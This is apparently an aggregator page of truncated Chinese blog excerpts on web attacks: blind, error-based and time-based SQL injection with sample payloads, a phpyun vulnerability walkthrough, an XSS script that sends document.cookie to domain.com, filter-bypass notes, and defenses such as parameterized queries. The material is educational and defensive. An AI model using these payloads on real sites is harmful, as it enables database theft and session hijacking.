sql注入

SQL注入--盲注及报错注入

时间秒杀一切 提交于 2020-03-26 15:28:41
3 月,跳不动了?>>> 盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales 其实登录处的注入就是布尔型的,万能密码就是构造一个永真的查询,比如下面的 select user from test where passwd=‘{injuct}’; #构造永真,即令where的条件用于为真 select user from test where passwd=‘aa‘or’1’=‘1’; #注入的数据是aa‘or’1’=‘1 密码输入无论是否正确,查询都成立。 布尔盲注其实就是利用了这种,我们什么时候需要采用这种呢 1)当没有数据输出点时,我们没有办法直观的判断注入的sql执行情况, 2)有正确或者错误的两种返回,比如查询正确返回一个页面,失败返回另一个页面,但是没有数据 时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数, 通过查看web页面返回的时间差来判断注入的语句是否正确 。 利用的内置函数 sleep(n):将程序挂起一段时间 n为n秒 if(expr1,expr2,expr3):判断语句

phpyun人才管理系统V5.0 SQL注入漏洞分析

微笑、不失礼 提交于 2020-03-26 15:01:07
*世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做* cms背景介绍 PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用:B/S+c/s技术框架,程序源代码100%完全开放!基于PHP 和 MySQL 数据库构建的为核心开发。 漏洞类型 前台SQL盲注 漏洞描述 Phpyun最新版本V5.0中,在用户邮箱认证处,存在SQL延时注入。其未对 base64解密后的email参数进行任何过滤,从而导致漏洞产生。 漏洞产生链分析: 漏洞产生点位于 app\controller\qqconnect\index.class.php的cert_action函数 可以看到此函数开头将GET取得的结果经过base64_decode函数解码后分割引入 $arr数组中,此时可以绕过全局过滤,代表此处可以控制$arr[3]的值。再往下看: 此时可以看到,由于$arr[3]的值可控,所以导致$data的 email参数可控,并且引入upCertInfo函数的email参数可控。在跟进 upCertInfo函数: 可以看到在此函数中$data以及$whereData参数未经任何过滤又将其引入 upCertEmail函数,继续跟进: 可以看到此函数同样未对data数组中的参数未经过任何过滤,此时$email变量可控并将其引入

黑客通常在用这 4 种方式攻击你!(内附防御策略)

假如想象 提交于 2020-03-26 06:45:12
黑客通常在用这 4 种方式攻击你!(内附防御策略) XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。https://www.cnblogs.com/chengxy-nds/p/12217990.html 一、跨站脚本攻击 概念 跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。 攻击原理 例如有一个论坛网站,攻击者可以在上面发布以下内容: <script>location.href="//domain.com/?c=" + document.cookie</script> 之后该内容可能会被渲染成以下形式: <p><script>location.href="//domain.com/?c=" + document.cookie</script></p> 另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。 危害 窃取用户的 Cookie 伪造虚假的输入表单骗取个人信息 显示伪造的文章或者图片 防范手段 1. 设置 Cookie 为 HttpOnly 设置了 HttpOnly 的

一次与sql注入 & webshell 的美丽“邂逅”

情到浓时终转凉″ 提交于 2020-03-26 00:12:05
引言  一波未平,一波又起。金融公司的业务实在是太引人耳目,何况我们公司的业处正处于风口之上(区块链金融),并且每天有大量现金交易,所以不知道有多少 躲在暗处一直在盯着你的系统,让你防不胜防,并且想方设法的找到突破点,以达到 的目的来获取非法利益。 俗话说:“道高一尺,魔高一丈”。系统和代码也可以这么理解,防的在好,总有漏洞。系统和代码也没有绝对的安全。该来的总会来...... sql注入与“她”相遇 某一天,天气晴朗,心情舒畅。“她”来了,打破了笔者的美好时光。下午2点多钟,笔者和朋友在苏州街的天使汇二楼极客咖啡参加某个云厂商的Kubernetes一场技术沙龙,正听得兴致勃勃的时候,笔者的公司群里有个php开发突然帖出一张图:  这个时候,群里翻腾了。没错,被SQL注入了,数据库的表被注入了字段,并且经检查后,发现这个库中的大部分表都被注入了这个字段。我的电脑没带在身边,真是着急,马上跟总监说明问题严重性。由于我电脑不在身边, 只能把数据库账号授权(读写权限)给那个php开发,让他检查所有的表,把被注入的字段删除掉。并查看数据和其它表有没有被修改。好在发现急时,数据和业务都没有被丢失和损坏。  这里我要说明一下,我们的业务都在阿里云,项目是以php为主,并且开通了waf防火墙,只是waf上的防护措施比较宽松。笔者在安全方面的经验也比较欠缺,好在开通了阿里云的WAF

SQL注入-报错注入

↘锁芯ラ 提交于 2020-03-25 17:27:04
3 月,跳不动了?>>> 报错注入产生案例 前面处理Get和Post请求的页面中,对于有提示错误源码的使用联合查询(union select)报出数据库,表,字段,数据等。若有过滤器使用大小写绕过,双写绕过,关键字绕过,注释绕过,URL编码绕过,宽字符绕过等方法进行绕过。但是对于没有提示错误源码只提示错误页面的,我们采取盲注的方法,如布尔盲注和时间盲注。其绕过的方法与提示错误源码的一致。我们是否有一种方法就是让页面强制报错,通过报错来提示我们所需要的信息。答案是肯定有的,那就是基于报错的注入(适合的前提条件是有mysql_error()源码报错,对于跳转错误页面的不适合需要采取盲注)。 基于主键重复报错进行SQL注入(mysql_error()前提下) 使用floor()函数构造错误函数 select count(*),(floor(rand(0)*2))x from table group by x; rand(a)随机函数,返回 0~1 之间的某个值,a随机因子 floor(a)取整函数,返回小于等于 a,且值最接近 a 的一个整数 count()计数函数,返回查询对象的总数 group by clause 分组语句,按照查询结果分组 这几个函数放在一起会产生报错呢? 1、floor(rand(0)*2)固定返回数值 011011…函数本身并没有报错 2、使用 count

sql时间盲注

时光总嘲笑我的痴心妄想 提交于 2020-03-25 16:38:09
sql时间盲注--ctfhub 测试 1 and if(length(database())>1,sleep(5),1)# 确实是 5s 后才响应了,注入成功 然后接下来的步骤类似于布尔盲注, 继续尝试 这里我猜测数据库名为 sqli 结果验证确实(投机取巧 0.0 ) 不用 1 and if() 直接 if() 也可以 1 and if(database()='sqli',sleep(1),1)# 包括后面的思路是对的 (第二个表才是flag ) 1 and if(substr(database(),1,1)='s',sleep(1),1) --- 猜数据库名 1 and if(substr((select table_name from information_schema.tables where table_schema = 'sqli' limit 1,1),1,1) = 'f ', sleep(1),1) -- 表名 1 and if(substr(( select column_name from information_schema.columns where table_schema = 'sqli' and table_name='flag' limit 0,1 ),1,1) = 'f ', sleep(1),1) -- - 列名 验证 确实第 2 个表和

SQL注入的问题

落爺英雄遲暮 提交于 2020-03-24 15:47:25
首先,SQL语句应该考虑哪些安全性?   第一,防止SQL注入,对特殊字符进行过滤、转义或者使用预编译的SQL语句绑定变量。   第二,当SQL语句运行出错时,不要把数据库返回的错误信息全部显示给用户,以防止泄露服务器和数据库相关信息。 其次,什么叫做SQL注入呢,如何防止呢? 举个例子:   你后台写的Java代码拼的SQL如下:   1 //该ename为前台传过来的一个查询条件 2 public List getInfo(String ename){ 3 StringBuffer buf = new StringBuffer(); 4 buf.append("select empno,ename,deptno from emp where ename = "").append(ename).append(""); 5 ... 6 ... 7 }    而前台页面有输入框如下:    职员姓名:   该文本域对应上面方法的ename参数。   如果用户在查询时向职员姓名文本域中输入的是如下信息:   'or'1'='1   那么这时就会涉及到SQL注入这个概念了。 上面的字符串传到后台后,与其他select等字符串拼成了如下的语句:   select empno,ename,deptno from emp where ename=" or '1'='1'

SQL注入-绕过过滤规则

安稳与你 提交于 2020-03-23 23:06:25
3 月,跳不动了?>>> 过滤规则产生的原因 前两篇举例了SQL注入Get请求/SQL注入Post请求的案例,都是因为程序要接收用户输入的变量或者URL传递的参数,并且参数或变量会被组成 SQL语句的一部分被执行。这些数据我们统称为外部数据,在安全领域有一条规则:一切外部数据是不可信任的。所以我们需要通过各种方式对数据进行检测和过滤。 扩展:PHP的过滤函数 preg_replace(mixed $pattern , mixed $replacement , mixed $subject) $pattern: 匹配的正则表达式 $replacement: 用于替换的字符串戒字符串数组 $subject: 要查找替换的目标字符串戒字符串数组 SQL关键字符过滤(and、or、 union、select等) 绕过过滤关键字的方法 #过滤注释/*、--、#,过滤空格,过滤select,union关键字 function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg

MySQL——pymysql的使用

筅森魡賤 提交于 2020-03-23 19:46:34
MySQL——python对mysql操作 pymysql 模块 # 1.模块的安装:pip install pymysql 或者进入setting # 2.代码连接 import pymysql # 连接 conn = pymysql.connect( host="127.0.0.1", port=3306, user="root", password='', database="day41", charset = "utf8" ) # 游标操作 cursor = conn.cursor()# 默认以元组的形式返回是返回 # cursor = conn.cursor(pymysql.cursors.DictCursor)# 参数规定以字典形式返回 3.对数据库的操作 res = cursor.excute('select * from class') # 发送指令到mysql print(res) # 查询到数据的总调条数不是所有详细信息(rows) print (cursor.fetchone()) # 获取一个查询的结果,同时游标往后移动一个 print (cursor.fetchone()) cursor.scroll(1,"absloute") # 绝对位置,参照开始位置1 # cursor.scroll(1,"relative") # 相对位置 print

参数化查询为什么能够防止SQL注入

北战南征 提交于 2020-03-23 13:09:23
转载自:http://www.cnblogs.com/LoveJenny/archive/2013/01/15/2860553.html 很多人都知道SQL注入,也知道SQL参数化查询可以防止SQL注入,可 为什么能防止注入 却并不是很多人都知道的。 本文主要讲述的是这个问题,也许你在部分文章中看到过这块内容,当然了看看也无妨。 首先:我们要了解SQL收到一个指令后所做的事情: 具体细节可以查看文章: Sql Server 编译、重编译与执行计划重用原理 在这里,我简单的表示为: 收到指令 -> 编译SQL生成执行计划 ->选择执行计划 ->执行执行计划 。 具体可能有点不一样,但大致的步骤如上所示。 接着我们来分析 为什么拼接SQL 字符串会导致SQL注入的风险呢 ? 首先创建一张表Users: CREATE TABLE [dbo].[Users]( [Id] [uniqueidentifier] NOT NULL, [UserId] [int] NOT NULL, [UserName] [varchar](50) NULL, [Password] [varchar](50) NOT NULL, CONSTRAINT [PK_Users] PRIMARY KEY CLUSTERED ( [Id] ASC )WITH (PAD_INDEX = OFF, STATISTICS